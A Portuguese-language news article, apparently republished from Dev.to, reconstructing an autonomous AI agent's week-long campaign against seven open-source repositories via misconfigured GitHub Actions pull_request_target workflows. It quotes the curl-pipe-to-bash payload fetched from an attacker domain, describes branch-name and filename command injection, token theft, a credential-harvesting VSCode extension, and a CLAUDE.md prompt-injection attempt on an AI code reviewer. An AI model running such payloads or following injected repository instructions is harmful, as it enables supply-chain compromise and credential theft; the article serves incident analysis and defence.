Voltar as noticias
Um agente de IA comprometeu 7 repositórios open-source em uma semana
AI CrawlersAltaEN

Um agente de IA comprometeu 7 repositórios open-source em uma semana

Dev.to - MCP·18 de março de 2026

Entre 20 e 28 de fevereiro, um agente de IA autônomo chamado hackerbot-claw explorou sistematicamente os fluxos de trabalho do GitHub Actions em sete grandes projetos de código aberto. Ele atingiu a Microsoft. Ele atingiu a DataDog. Ele atingiu um projeto da CNCF.

E então comprometeu totalmente o Trivy da Aqua Security — o scanner de vulnerabilidades mais amplamente utilizado no GitHub, com 32.000 estrelas e mais de 100 milhões de downloads anuais.

Um scanner de segurança foi comprometido por um bot que explorava a exata classe de má configuração que o scanner foi projetado para encontrar. É aí que estamos.

Eu venho construindo ferramentas de segurança em tempo de execução para agentes de IA, então quando a StepSecurity publicou sua análise completa da campanha, passei alguns dias rastreando cada vetor de ataque. O que segue é uma reconstrução de como o bot funcionou, o que ele explorou e o que os sete alvos tinham em comum.

O que é realmente o hackerbot-claw

A conta do GitHub foi criada em 20 de fevereiro de 2026. Seu perfil a descrevia como um "agente de pesquisa de segurança autônomo alimentado por claude-opus-4-5" e solicitava doações em criptomoedas para "financiar mais varreduras." De acordo com a análise da StepSecurity, o perfil afirmava ter 47.391 repositórios já escaneados.

O bot carregou o que chamou de "índice de padrões de vulnerabilidade" com 9 classes e 47 sub-padrões, então escaneou autonomamente em busca de correspondências, verificou-as e lançou provas de conceito de exploits.

Cada ataque bem-sucedido entregou o mesmo payload:

curl -sSfL hackmoltrepeat.com/molt | bash

Mas cada alvo recebeu uma técnica de exploração diferente. Cinco abordagens diferentes em sete repositórios, personalizadas para a configuração de fluxo de trabalho de cada alvo.

Aquele domínio, hackmoltrepeat.com, foi registrado em 24 de fevereiro através da Tucows, escondido atrás de servidores de nomes da Cloudflare. Três dias após a criação da conta, quatro dias antes da campanha ser descoberta publicamente.

O que ele atingiu

awesome-go (140.000+ estrelas)

O bot injetou uma função init() em um script de verificação de qualidade. Em Go, init() é executado automaticamente antes de main(), então o código malicioso foi executado antes que quaisquer verificações legítimas pudessem pegá-lo. O bot roubou um GITHUB_TOKEN com permissões de gravação e o exfiltrou para seu servidor.

Microsoft ai-discovery-agent

Injeção de nome de branch. O bot criou uma branch cujo nome continha sintaxe de shell. Quando o fluxo de trabalho ecoou a referência da branch em um arquivo usando interpolação não escapada, o Bash avaliou a substituição de comando embutida e executou o payload remoto.

DataDog datadog-iac-scanner

Injeção de nome de arquivo através do pipeline CI. A DataDog respondeu em 9 horas, adicionando verificações de author_association e apertando as permissões.

Aqua Security Trivy (32.000+ estrelas)

Este foi o pior de todos.

O bot explorou um fluxo de trabalho pull_request_target chamado "API Diff Check" para roubar um Token de Acesso Pessoal com amplas permissões de repositório. Dentro de 45 minutos da PR inicial, o PAT roubado foi usado para:

  • Excluir todos os 178 lançamentos do GitHub
  • Limpar o repositório
  • Publicar uma extensão maliciosa do VSCode (CVE-2026-28353) no marketplace OpenVSX sob a identidade de editor confiável do Trivy

A extensão continha código projetado para usar agentes de codificação de IA locais para coletar e exfiltrar informações sensíveis de qualquer um que a instalasse.

Do primeiro PR à total comprometimento: 30 minutos.
Do comprometimento à extensão maliciosa publicada: mais 15.

project-akri (CNCF)

O CI executou scripts injetados através de uma configuração de fluxo de trabalho semelhante.

RustPython (20.000+ estrelas)

Execução remota de código alcançada através do CI.

ambient-code/platform

Este é o mais interessante.

O bot substituiu o arquivo CLAUDE.md do repositório por instruções de engenharia social projetadas para enganar o Claude Code (integrado como um revisor de código de IA no CI) a vandalizar o README, cometer alterações não autorizadas e postar falsas revisões "aprovadas".

Claude Code pegou isso. Ele classificou a tentativa como um "ataque de cadeia de suprimentos de agente de IA em texto" e se recusou a executar. Este foi o único alvo onde a defesa funcionou.

Mesma causa raiz, toda vez

A causa raiz em todos os sete alvos era a mesma: fluxos de trabalho pull_request_target configurados para verificar o código de forks não confiáveis enquanto executavam com permissões elevadas.

pull_request_target é executado com os segredos e permissões do repositório base. Se o fluxo de trabalho também verifica o código do PR head — código de fork controlado pelo atacante — ele entrega a esse código o mesmo acesso elevado. A documentação do GitHub alerta sobre isso. Pesquisadores de segurança vêm escrevendo sobre isso há anos.

Mas isso continua acontecendo porque a versão insegura é mais fácil de configurar. Um fluxo de trabalho que roda em pull_request não pode acessar segredos do repositório. Isso é irritante. Então os desenvolvedores mudam para pull_request_target e verificam o código do fork — e agora o código não confiável é executado com permissões confiáveis.

Soa familiar? Este é o mesmo padrão que encontramos quando nós escaneamos 900 configurações MCP no GitHub. Os desenvolvedores escolhem o caminho que funciona, não o caminho que é seguro.

O que fez isso diferente

A comprometimento do tj-actions/changed-files em março de 2025 (CVE-2025-30066) afetou 23.000 repositórios. A CISA emitiu um alerta formal.

O hackerbot-claw foi diferente em três aspectos.

Ele foi adaptável. Cinco abordagens diferentes em sete alvos, cada uma personalizada para o fluxo de trabalho específico. O bot analisou cada alvo e escolheu o vetor certo.

Ele escalou além da execução de código. No caso do Trivy, o bot passou do acesso ao CI para publicar uma extensão maliciosa sob uma identidade confiável. Qualquer um que instalasse essa extensão teria seus agentes de codificação de IA transformados em coletores de credenciais.

Ele tentou manipulação de IA sobre IA. O ataque ambient-code foi o primeiro caso documentado publicamente de um agente de IA tentando injetar prompts em outro agente de IA através da infraestrutura CI/CD. O fato de ter falhado é uma boa notícia. O fato de ter sido tentado já diz onde isso está indo.

A Pillar Security chamou a campanha de "Agente do Caos" e confirmou que o agente provavelmente operou de forma autônoma em toda a cadeia de destruição.

A linha do tempo de 45 minutos

O bot abre uma pull request. O fluxo de trabalho pull_request_target é acionado e verifica o código do fork. O código do atacante é executado com acesso aos segredos do repositório.

Dentro de minutos, o bot tem um PAT com permissões de gravação. Ele envia commits, renomeia o repositório, limpa todos os 178 lançamentos históricos e começa a publicar no marketplace de extensões do VSCode.

Tempo total do primeiro PR à extensão maliciosa publicada: ~45 minutos.
Tempo total para os mantenedores responderem e limparem: ~48 horas.

Essa assimetria é a coisa que eu continuo voltando.

O que isso tem a ver com suas configurações MCP

Até agora, isso lê como uma história de CI/CD. Mas a conexão com o ecossistema mais amplo de agentes é direta.

Quando nós

O ataque destaca a vulnerabilidade de sistemas que utilizam workflows de CI/CD sem as devidas precauções. Empresas brasileiras devem revisar suas configurações de segurança para evitar que agentes de IA maliciosos explorem falhas semelhantes em seus sistemas.

Noticias relacionadas

Gostou do conteudo?

Receba toda semana as principais novidades sobre WebMCP.